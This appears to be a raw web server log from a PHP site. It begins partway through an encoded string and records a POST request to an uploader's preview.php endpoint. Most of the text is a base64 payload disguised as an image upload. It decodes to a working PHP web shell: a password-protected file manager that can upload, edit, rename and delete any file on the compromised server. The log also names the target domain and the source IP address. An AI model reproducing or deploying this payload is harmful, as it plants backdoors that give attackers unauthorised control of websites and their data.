AgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:55+08:00 ] 119.42.146.234 POST 51tianwei.com/Tpl/Home/default/Public/Hui/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002548s] [吞吐率:392.43req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Tpl', 2 => 'Home', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRkl